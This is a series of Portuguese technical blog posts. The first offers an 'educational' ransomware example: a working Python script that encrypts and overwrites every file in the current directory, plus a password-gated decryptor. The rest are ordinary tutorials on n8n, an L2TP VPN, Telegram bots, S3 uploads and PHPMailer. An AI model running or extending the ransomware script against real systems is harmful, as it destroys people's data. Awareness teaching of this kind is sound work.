Introdução

Você já ouviu falar em ransomware? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos dos últimos tempos. No post de hoje, vamos entender como ele funciona por trás dos panos — com um exemplo simples em Python — e como você pode se proteger.

O que é um Ransomware?

Um ransomware é um tipo de malware que sequestra os dados da vítima por meio de criptografia. O atacante exige um resgate (geralmente em criptomoeda) para devolver o acesso aos arquivos. Em muitos casos, mesmo pagando, a vítima não recebe a chave de descriptografia.

Como funciona tecnicamente?

1. O atacante cria um programa que:
   • Vasculha o diretório à procura de arquivos.
   • Criptografa os arquivos com uma chave gerada na hora.
   • Salva a chave num local escondido ou remoto.
   • Exclui os arquivos originais e deixa uma mensagem de resgate.
2. A vítima, ao executar o programa, tem todos os seus arquivos tornados ilegíveis. Só com a chave correta será possível recuperá-los.

Exemplo em Python

Atenção: Este exemplo é apenas educativo! Não use esse código para fins maliciosos.

malware.py – Criptografando os arquivos

#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet

files = []
for file in os.listdir():
    if file in ("malware.py", "thekey.key", "decrypt.py"):
        continue
    if os.path.isfile(file):
        files.append(file)

print("Encrypted files:", files)

key = Fernet.generate_key()
with open("thekey.key", "wb") as thekey:
    thekey.write(key)

for file in files:
    with open(file, "rb") as thefile:
        content = thefile.read()
    content_encrypted = Fernet(key).encrypt(content)
    with open(file, "wb") as thefile:
        thefile.write(content_encrypted)

print("All your files have been encrypted!")

O que esse código faz?

• Gera uma chave de criptografia com Fernet.
• Ignora arquivos importantes do próprio script.
• Criptografa todos os arquivos do diretório atual e sobrescreve os originais.

Como descriptografar os arquivos?

decrypt.py – Descriptografando

import os
from cryptography.fernet import Fernet

files = []
for file in os.listdir():
    if file in ("malware.py", "thekey.key", "decrypt.py"):
        continue
    if os.path.isfile(file):
        files.append(file)

with open("thekey.key", "rb") as key_file:
    secretkey = key_file.read()

passphrase = "M4nu4ld0Pr0gr4m4d0r"  # senha definida pelo "atacante"
user_input = input("Enter the password to decrypt your files: ")

if user_input == passphrase:
    for file in files:
        with open(file, "rb") as thefile:
            content = thefile.read()
        decrypted = Fernet(secretkey).decrypt(content)
        with open(file, "wb") as thefile:
            thefile.write(decrypted)
    print("Files successfully decrypted.")
else:
    print("Wrong password. Access denied.")

O que você aprendeu aqui?

• Como funciona a criptografia de arquivos com Fernet.
• Como é simples automatizar isso em um script.
• Que a segurança digital é responsabilidade de todos nós.

Alerta: uso ético e legal

Esse exemplo foi apresentado somente para fins educacionais, com o objetivo de conscientizar sobre a importância da cibersegurança. Utilizar esse tipo de script para prejudicar outras pessoas é crime previsto em lei.

Como se proteger?

• Nunca execute arquivos desconhecidos.
• Faça backup regular dos seus dados.
• Mantenha o sistema e antivírus sempre atualizados.

Se você trabalha com tecnologia, marketing digital ou processos de negócios, é bem provável que já tenha ouvido falar do n8n. Mas afinal, o que é o n8n? E por que tantas pessoas estão escolhendo essa ferramenta para automatizar tarefas do dia a dia?

Neste post, você vai entender como o n8n funciona, o que ele permite fazer, suas principais vantagens e por que ele se tornou uma das ferramentas de automação low-code mais comentadas do momento.

O que é o n8n?

O n8n (que se pronuncia “n-eight-n”) é uma plataforma de automação de workflows que permite integrar diferentes sistemas, serviços e APIs — tudo com pouca ou nenhuma programação. Ele funciona de forma visual, com nós (nodes) que você conecta para criar fluxos automáticos de tarefas.

É como o Zapier ou o Make (Integromat), mas com um grande diferencial: o n8n é open source e altamente personalizável.

O que dá pra fazer com o n8n?

A resposta curta: praticamente tudo.

Com o n8n, você pode:

• Automatizar envio de e-mails com base em eventos específicos;
• Integrar ferramentas como Slack, Notion, Google Sheets, Trello, GitHub, entre centenas de outras;
• Criar rotinas para consultar APIs externas e salvar dados em bancos;
• Monitorar alterações em sites ou servidores;
• Criar automações com lógica condicional e loops;
• E até mesmo acionar scripts personalizados com código JavaScript ou Python.

Tudo isso com uma interface visual simples e intuitiva.

Por que o n8n se destaca entre outras ferramentas de automação?

Além de ser gratuito e open-source, o n8n permite que você hospede a aplicação onde quiser — inclusive em servidores próprios ou containers Docker.

Alguns diferenciais importantes:

• Sem limites artificiais de workflows ou número de operações (como nas versões gratuitas do Zapier);
• Integrações com mais de 400 serviços;
• Execução local ou em nuvem com total controle dos dados;
• Suporte a funções customizadas, webhooks, bancos de dados e APIs REST.

Ou seja, é uma ferramenta poderosa tanto para desenvolvedores quanto para equipes que buscam automatizar processos internos de forma segura, flexível e escalável.

Quem está usando o n8n?

O n8n tem ganhado espaço entre empresas, startups, agências de marketing e até mesmo criadores de conteúdo. Qualquer pessoa que precise automatizar rotinas e conectar ferramentas sem depender de uma equipe técnica pode se beneficiar.

E justamente por ser open source, a comunidade ao redor do projeto cresce a cada dia, com novos nós, tutoriais e plugins sendo desenvolvidos constantemente.

Conclusão: vale a pena usar o n8n?

Se você procura uma solução robusta, flexível e econômica para automatizar processos, o n8n é uma escolha certeira. Ele se destaca por unir a simplicidade de plataformas visuais com a liberdade de customização que só ferramentas open source oferecem.

Explore o n8n, teste suas possibilidades e descubra como automatizar tarefas pode economizar tempo, reduzir erros e aumentar a produtividade do seu time.

Passo 1: Preparando o Servidor

Acesse seu servidor como administrador (root):

sudo su -

Atualize o sistema operacional para garantir que tudo está atualizado e compatível:

apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y

Passo 2: Baixando o Script de Configuração

Utilizaremos um script para configurar automaticamente a VPN. Baixe o script:

wget https://get.vpnsetup.net -O vpn.sh

Antes de executá-lo, abra o script para editar as configurações básicas:

vi vpn.sh

Edite as seguintes variáveis no script:

• Adicione a chave pré-compartilhada (PSK).
• Configure o nome do usuário principal e sua senha.

Depois de configurar, salve e saia do editor (no vi, digite :wq e pressione Enter).

Passo 3: Executando o Script

Com as configurações prontas, execute o script para configurar a VPN:

sh vpn.sh

Esse script configurará os serviços necessários, como o IPsec e o L2TP, além de ajustar as permissões.

Passo 4: Adicionando Usuários Adicionais

Se você precisar criar novos usuários para acessar a VPN, use o seguinte comando:

addvpnuser.sh 'usuario01' 'senha01'

Substitua 'usuario01' e 'senha01' pelos dados do novo usuário.

Passo 5: Liberando Portas no Firewall

Certifique-se de que as portas necessárias para a VPN estão abertas no firewall. As portas que precisam estar liberadas são:

• Porta 500 UDP (IKEv1/IKEv2)
• Porta 4500 UDP (NAT-T)

Se você utiliza o ufw, execute os comandos abaixo:

ufw allow 500/udp
ufw allow 4500/udp
ufw reload

Caso utilize outra ferramenta de firewall, ajuste as configurações conforme necessário.

Dicas Finais

• Após a configuração, você pode conectar dispositivos Windows, macOS, Android ou iOS à VPN utilizando o IP do servidor, a chave pré-compartilhada (PSK) e as credenciais de usuário criadas.
• Teste a conexão para garantir que a VPN está funcionando corretamente.

Conclusão

Com esses passos, você terá uma VPN L2TP funcionando de forma eficiente e segura no Ubuntu Server. Isso pode ser útil para acessar recursos remotos, proteger conexões públicas ou até mesmo criar um ambiente de trabalho seguro para sua equipe.

Se você encontrou algum problema ou tem dúvidas, compartilhe nos comentários!

E aí, pessoal! Se você sempre quis criar um bot no Telegram, mas achou que seria complicado, estou aqui para mostrar que é bem mais fácil do que parece. Neste post, vou te ensinar como criar um bot e fazer duas integrações diferentes: uma para enviar alertas via webhook e outra para criar um chatbot que conversa e responde. Vamos nessa?

Passo 1: Criando o bot no Telegram

1. Abra o Telegram e encontre o BotFather. O BotFather é o cara que vai te ajudar a criar e gerenciar o seu bot. Basta procurar por ele na busca do Telegram e iniciar uma conversa.
2. Crie o bot com o comando /newbot. O BotFather vai pedir um nome e um username para o bot. Lembre-se que o username precisa ser único e terminar com “bot” (por exemplo, MeuBotLegal).
3. Guarde o token de acesso. Após configurar tudo, o BotFather vai te dar um token. Esse token é a chave que permite que você controle o bot via código

Passo 2: Pegando o chat_id

Antes de começar a enviar mensagens ou configurar o bot para responder, você precisa pegar o chat_id, que é o identificador do chat onde o bot vai enviar mensagens.

Use a API do Telegram para pegar o chat_id. Você pode pegar o chat_id usando o seguinte script:

Python

Inicie uma conversa com o seu bot. Abra o chat com o seu bot no Telegram e envie uma mensagem, qualquer coisa, só para iniciar a interação.

import requests

# Substitua pelo seu token
TOKEN = 'seu_token_aqui'

# Pega as últimas atualizações do bot
response = requests.get(f'https://api.telegram.org/bot{TOKEN}/getUpdates').json()

# Extrai o chat_id da resposta
chat_id = response['result'][0]['message']['chat']['id']
print(f'Seu chat_id é: {chat_id}')

JavaScript (Node.js)

const axios = require('axios');
const token = 'seu_token_aqui';

axios.get(`https://api.telegram.org/bot${token}/getUpdates`)
  .then(response => {
    const chatId = response.data.result[0].message.chat.id;
    console.log('Seu chat_id é: ', chatId);
  })
  .catch(error => {
    console.error('Erro ao pegar chat_id: ', error);
  });

Anote o chat_id. Execute o script acima e você verá o chat_id no console. Anote esse ID porque você vai usá-lo nos próximos passos.

Passo 3: Exemplo 1 – Enviando alertas via webhook

Agora que você tem o chat_id, vamos começar com algo simples: enviar alertas pro Telegram usando um webhook. Isso é útil quando você quer ser notificado automaticamente sobre alguma coisa, tipo um erro no seu sistema.

Python

Instale a biblioteca requests.

pip install requests

Crie um script para enviar mensagens.

import requests

# Token e ID do chat
TOKEN = 'seu_token_aqui'
CHAT_ID = 'seu_chat_id_aqui'

def enviar_alerta(mensagem):
    url = f'https://api.telegram.org/bot{TOKEN}/sendMessage'
    data = {'chat_id': CHAT_ID, 'text': mensagem}
    requests.post(url, data=data)

enviar_alerta('⚠ Alerta: Algo deu errado no sistema!')

JavaScript (Node.js)

Instale o axios para fazer as requisições.

npm install axios

Crie um script básico para enviar alertas.

const axios = require('axios');
const token = 'seu_token_aqui';
const chatId = 'seu_chat_id_aqui';
const message = '⚠ Alerta: Algo deu errado no sistema!';

axios.post(`https://api.telegram.org/bot${token}/sendMessage`, {
    chat_id: chatId,
    text: message
}).then(response => {
    console.log('Mensagem enviada: ', response.data);
}).catch(error => {
    console.error('Erro ao enviar mensagem: ', error);
});

Execute o script e teste o envio do alerta.

Passo 4: Exemplo 2 – Criando um chatbot com interação

Agora, vamos deixar o negócio mais interessante: vamos criar um bot que responde às mensagens que você enviar para ele.

Python

Instale a biblioteca python-telegram-bot.

pip install python-telegram-bot

Crie um bot que responde a comandos.

from telegram import Update
from telegram.ext import Application, CommandHandler

# Token do Bot
TOKEN = 'seu_token_aqui'

async def start(update: Update, context):
    await update.message.reply_text('Oi! Como posso ajudar?')

async def help_command(update: Update, context):
    await update.message.reply_text('Aqui está a lista de comandos: /start, /help')

if __name__ == '__main__':
    # Cria a aplicação e adiciona os handlers
    application = Application.builder().token(TOKEN).build()

    application.add_handler(CommandHandler("start", start))
    application.add_handler(CommandHandler("help", help_command))

    # Inicia o bot
    application.run_polling()

JavaScript (Node.js)

Instale a biblioteca node-telegram-bot-api.

npm install node-telegram-bot-api

Crie um bot que responde aos comandos.

const TelegramBot = require('node-telegram-bot-api');
const token = 'seu_token_aqui';
const bot = new TelegramBot(token, {polling: true});

bot.onText(/\/start/, (msg) => {
    bot.sendMessage(msg.chat.id, "Oi! Como posso ajudar?");
});

bot.onText(/\/help/, (msg) => {
    bot.sendMessage(msg.chat.id, "Aqui está a lista de comandos: /start, /help");
});

Teste a interação com o seu bot.

Considerações finais

Pronto! Agora você sabe como criar um bot no Telegram, tanto para enviar alertas via webhook quanto para criar um chatbot interativo. Com esses exemplos, você pode começar a explorar mais funcionalidades e personalizar seu bot para fazer o que você quiser. Adicione suas capturas de tela onde indicado e compartilhe com a galera o que você criou!

Dica: Sempre proteja o token do seu bot e evite compartilhá-lo publicamente para garantir a segurança.

Visão Geral

O Amazon S3 é amplamente utilizado para armazenamento de arquivos, enquanto o Amazon CloudFront pode ser empregado para entrega de conteúdo de forma rápida e segura. Aqui, vamos configurar um projeto PHP para realizar uploads no S3, obter URLs através do CloudFront, e discutir as vantagens de usar o CloudFront para acessar seus arquivos.

Estrutura do Projeto

Seu projeto será estruturado da seguinte forma:

project/
├── src/
│   ├── S3Manager.php
│   └── example.php
├── .env
├── composer.json
└── README.md

Dependências Necessárias

Antes de começar, certifique-se de ter o Composer instalado, pois ele gerenciará as dependências do seu projeto PHP. No arquivo composer.json, adicione as seguintes dependências:

{
    "require": {
        "aws/aws-sdk-php": "^3.0",
        "vlucas/phpdotenv": "^5.4"
    }
}

Em seguida, instale as dependências:

composer install

Configurando Variáveis de Ambiente

Utilize um arquivo .env para gerenciar configurações sensíveis, como chaves de acesso AWS. O conteúdo do seu arquivo .env deve ser algo como:

AWS_ACCESS_KEY_ID=your_access_key_id
AWS_SECRET_ACCESS_KEY=your_secret_access_key
AWS_REGION=your_aws_region
S3_BUCKET_NAME=your_s3_bucket_name
CLOUDFRONT_URL=https://your_cloudfront_distribution_url/

Criando a Classe de Gerenciamento de Arquivos no S3

Crie a classe S3Manager.php para gerenciar uploads e recuperação de URLs:

<?php

namespace App;

use Aws\S3\S3Client;
use Dotenv\Dotenv;

class S3Manager
{
    private $s3;
    private $bucket;
    private $cloudfrontUrl;

    public function __construct()
    {
        $dotenv = Dotenv::createImmutable(__DIR__ . '/../');
        $dotenv->load();

        $this->bucket = $_ENV['S3_BUCKET_NAME'];
        $this->cloudfrontUrl = $_ENV['CLOUDFRONT_URL'];

        $this->s3 = new S3Client([
            'version' => 'latest',
            'region'  => $_ENV['AWS_REGION'],
            'credentials' => [
                'key'    => $_ENV['AWS_ACCESS_KEY_ID'],
                'secret' => $_ENV['AWS_SECRET_ACCESS_KEY'],
            ],
        ]);
    }

    public function uploadFile($filePath, $key)
    {
        try {
            $result = $this->s3->putObject([
                'Bucket' => $this->bucket,
                'Key'    => $key,
                'SourceFile' => $filePath,
            ]);

            return $result['ObjectURL'];
        } catch (AwsException $e) {
            echo "Error uploading file: " . $e->getMessage();
            return false;
        }
    }

    public function getFileUrl($key)
    {
        return $this->cloudfrontUrl . $key;
    }

    public function uploadFromFiles($file, $key)
    {
        try {
            $result = $this->s3->putObject([
                'Bucket' => $this->bucket,
                'Key'    => $key,
                'Body'   => fopen($file['tmp_name'], 'rb'),
                'ACL'    => 'public-read', // Optional: for public access
            ]);

            return $result['ObjectURL'];
        } catch (AwsException $e) {
            echo "Error uploading file: " . $e->getMessage();
            return false;
        }
    }
}

Exemplo de Uso

Agora, você pode usar a classe S3Manager para fazer o upload de arquivos, tanto a partir de um caminho no sistema de arquivos quanto diretamente do $_FILES:

<?php

require 'vendor/autoload.php';

use App\S3Manager;

$s3Manager = new S3Manager();

// Exemplo de upload de um arquivo existente
$filePath = '/path/to/your/file.txt';
$key = 'uploads/file.txt';
$uploadUrl = $s3Manager->uploadFile($filePath, $key);

if ($uploadUrl) {
    echo "File uploaded successfully. URL: " . $uploadUrl . PHP_EOL;
}

// Exemplo de upload via $_FILES
if ($_FILES) {
    $file = $_FILES['uploaded_file'];
    $key = 'uploads/' . basename($file['name']);
    $uploadUrl = $s3Manager->uploadFromFiles($file, $key);

    if ($uploadUrl) {
        echo "File uploaded successfully via \$_FILES. URL: " . $uploadUrl . PHP_EOL;
    }
}

// Exemplo de obtenção da URL do arquivo via CloudFront
$fileUrl = $s3Manager->getFileUrl($key);
echo "File URL via CloudFront: " . $fileUrl . PHP_EOL;

Vantagem de Configurar uma Distribuição do CloudFront para S3

Ao utilizar o Amazon S3 para armazenar seus arquivos, cada acesso a esses arquivos gera custos. Dependendo do volume de acessos, isso pode se tornar significativo. Uma maneira eficiente de reduzir esses custos e ainda melhorar a performance de sua aplicação é configurando uma distribuição do Amazon CloudFront.

O CloudFront é uma Content Delivery Network (CDN) da AWS que oferece várias vantagens:

• Redução de Custos: Enquanto o S3 cobra por cada acesso aos seus arquivos, o CloudFront oferece um custo por acesso menor, o que pode resultar em economias consideráveis, especialmente para sites ou aplicações com alto tráfego.
• Cacheamento: O CloudFront armazena em cache os arquivos em diversos pontos de presença (PoPs) ao redor do mundo. Isso não só reduz a latência, tornando o acesso mais rápido para os usuários, como também diminui a quantidade de requisições diretamente ao S3, economizando ainda mais nos custos de acesso.
• Melhoria de Performance: Com os arquivos sendo servidos a partir de locais mais próximos dos usuários finais, o tempo de carregamento é significativamente reduzido, proporcionando uma experiência de usuário mais fluida.

Ao configurar o CloudFront para distribuir os arquivos armazenados no S3, você não só economiza, mas também melhora a performance e a escalabilidade da sua aplicação.

Considerações Finais

Ao configurar seu projeto PHP para interagir com o Amazon S3 e CloudFront, você está construindo uma solução escalável e segura para gerenciar arquivos na nuvem. O uso de variáveis de ambiente e a abordagem modular ajudam a manter a flexibilidade e a segurança do seu sistema. Além disso, a possibilidade de fazer uploads diretamente via $_FILES facilita a integração em sistemas que recebem arquivos de formulários HTML.

Se você está começando a trabalhar com AWS ou deseja melhorar seu sistema atual, essa solução pode ser o ponto de partida ideal, especialmente ao considerar as vantagens de utilizar o CloudFront para acessar seus arquivos no S3.

Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!

Por que usar o PHPMailer?

PHPMailer é uma biblioteca PHP amplamente utilizada por sua facilidade de uso e por suportar funcionalidades avançadas como envio de anexos, e-mails em HTML, e suporte a SMTP. Além disso, ele permite uma integração segura com serviços de e-mail como o Amazon SES, utilizando variáveis de ambiente para proteger suas credenciais.

Configurando o Ambiente

Antes de tudo, é importante garantir que suas credenciais sensíveis, como senhas de e-mail e chaves de acesso da AWS, estejam protegidas. Isso pode ser feito utilizando variáveis de ambiente, que mantêm essas informações fora do código-fonte, minimizando riscos de exposição.

No entanto, para que o PHP consiga ler as variáveis de ambiente de um arquivo .env, é necessário utilizar uma biblioteca como o vlucas/phpdotenv.

Passo 1: Instalação do PHP dotenv

Você pode instalar o phpdotenv utilizando o Composer:

composer require vlucas/phpdotenv

Passo 2: Configuração do Arquivo .env

Crie um arquivo .env na raiz do seu projeto e adicione suas variáveis de ambiente:

SMTP_HOST=email-smtp.[região].amazonaws.com
SMTP_PORT=587
SMTP_USERNAME=sua_ses_access_key
SMTP_PASSWORD=sua_ses_secret_key

Passo 3: Carregando as Variáveis de Ambiente no PHP

No início do seu script PHP, você precisará carregar as variáveis de ambiente com o phpdotenv:

<?php

require 'vendor/autoload.php';

// Carrega as variáveis de ambiente do arquivo .env
$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
$dotenv->load();

$host = getenv('SMTP_HOST');
$username = getenv('SMTP_USERNAME');
// Agora você pode utilizar essas variáveis na configuração do PHPMailer

Instalação do PHPMailer

Agora que suas variáveis de ambiente estão configuradas, é hora de instalar o PHPMailer. A maneira mais simples de fazer isso é utilizando o Composer:

composer require phpmailer/phpmailer

Criando a Classe de Envio de E-mails

Agora vamos criar uma classe em PHP que utiliza o PHPMailer para enviar e-mails. Esta classe será configurada para usar as variáveis de ambiente que definimos anteriormente.

<?php

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'vendor/autoload.php';

class EmailService
{
    private $mailer;

    public function __construct()
    {
        $this->mailer = new PHPMailer(true);
        $this->configure();
    }

    private function configure()
    {
        // Configurações do servidor SMTP
        $this->mailer->isSMTP();
        $this->mailer->Host = getenv('SMTP_HOST');
        $this->mailer->SMTPAuth = true;
        $this->mailer->Username = getenv('SMTP_USERNAME');
        $this->mailer->Password = getenv('SMTP_PASSWORD');
        $this->mailer->SMTPSecure = 'tls';
        $this->mailer->Port = getenv('SMTP_PORT');
    }

    public function sendEmail($fromEmail, $fromName, $to, $subject, $body)
    {
        try {
            // Configurações do remetente
            $this->mailer->setFrom($fromEmail, $fromName);
            $this->mailer->addAddress($to);

            // Cabeçalhos adicionais para resposta
            $this->mailer->addReplyTo($fromEmail, $fromName);
            $this->mailer->addCustomHeader('Return-Path', $fromEmail);

            $this->mailer->Subject = $subject;
            $this->mailer->Body = $body;
            $this->mailer->isHTML(true);

            // Enviar o e-mail
            $this->mailer->send();

            return "E-mail enviado com sucesso!";
        } catch (Exception $e) {
            return "Erro ao enviar e-mail: {$this->mailer->ErrorInfo}";
        }
    }
}

// Exemplo de uso
$emailService = new EmailService();
$result = $emailService->sendEmail('usuario@seudominio.com.br', 'Nome do Usuário', 'destinatario@example.com', 'Assunto do E-mail', 'Corpo do e-mail');
echo $result;

Usando o Amazon SES

O Amazon SES (Simple Email Service) é um serviço de e-mail baseado na nuvem que permite o envio de grandes volumes de e-mails de forma confiável e segura. Ele utiliza Access Key e Secret Key para autenticação, e você pode configurar domínios verificados para garantir que os e-mails enviados sejam considerados legítimos pelos provedores de e-mail.

Ao configurar o Amazon SES com PHPMailer, o processo de envio de e-mails se torna mais robusto, permitindo que você gerencie altas demandas de e-mails sem se preocupar com limitações comuns de servidores de e-mail tradicionais.

Passos para configurar o SES:

1. Verifique o domínio: Antes de enviar e-mails com o SES, é necessário verificar o domínio que você deseja utilizar.
2. Crie credenciais de acesso: No painel da AWS, crie um novo usuário com permissões específicas para o SES e gere as chaves de acesso (Access Key e Secret Key).
3. Configure o PHPMailer: Use as chaves geradas nas variáveis de ambiente e configure o PHPMailer conforme mostrado no exemplo acima.

Conclusão

Com essa configuração, você pode enviar e-mails de forma segura utilizando PHPMailer e variáveis de ambiente, além de integrar o Amazon SES para gerenciar grandes volumes de e-mails de forma escalável. Ao passar o e-mail do remetente como parâmetro, você permite que o usuário logado envie e-mails com seu próprio endereço, mantendo a personalização e autenticidade da comunicação.

Essa abordagem não só melhora a segurança das suas aplicações como também oferece flexibilidade na gestão de envios de e-mail em projetos PHP.

Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!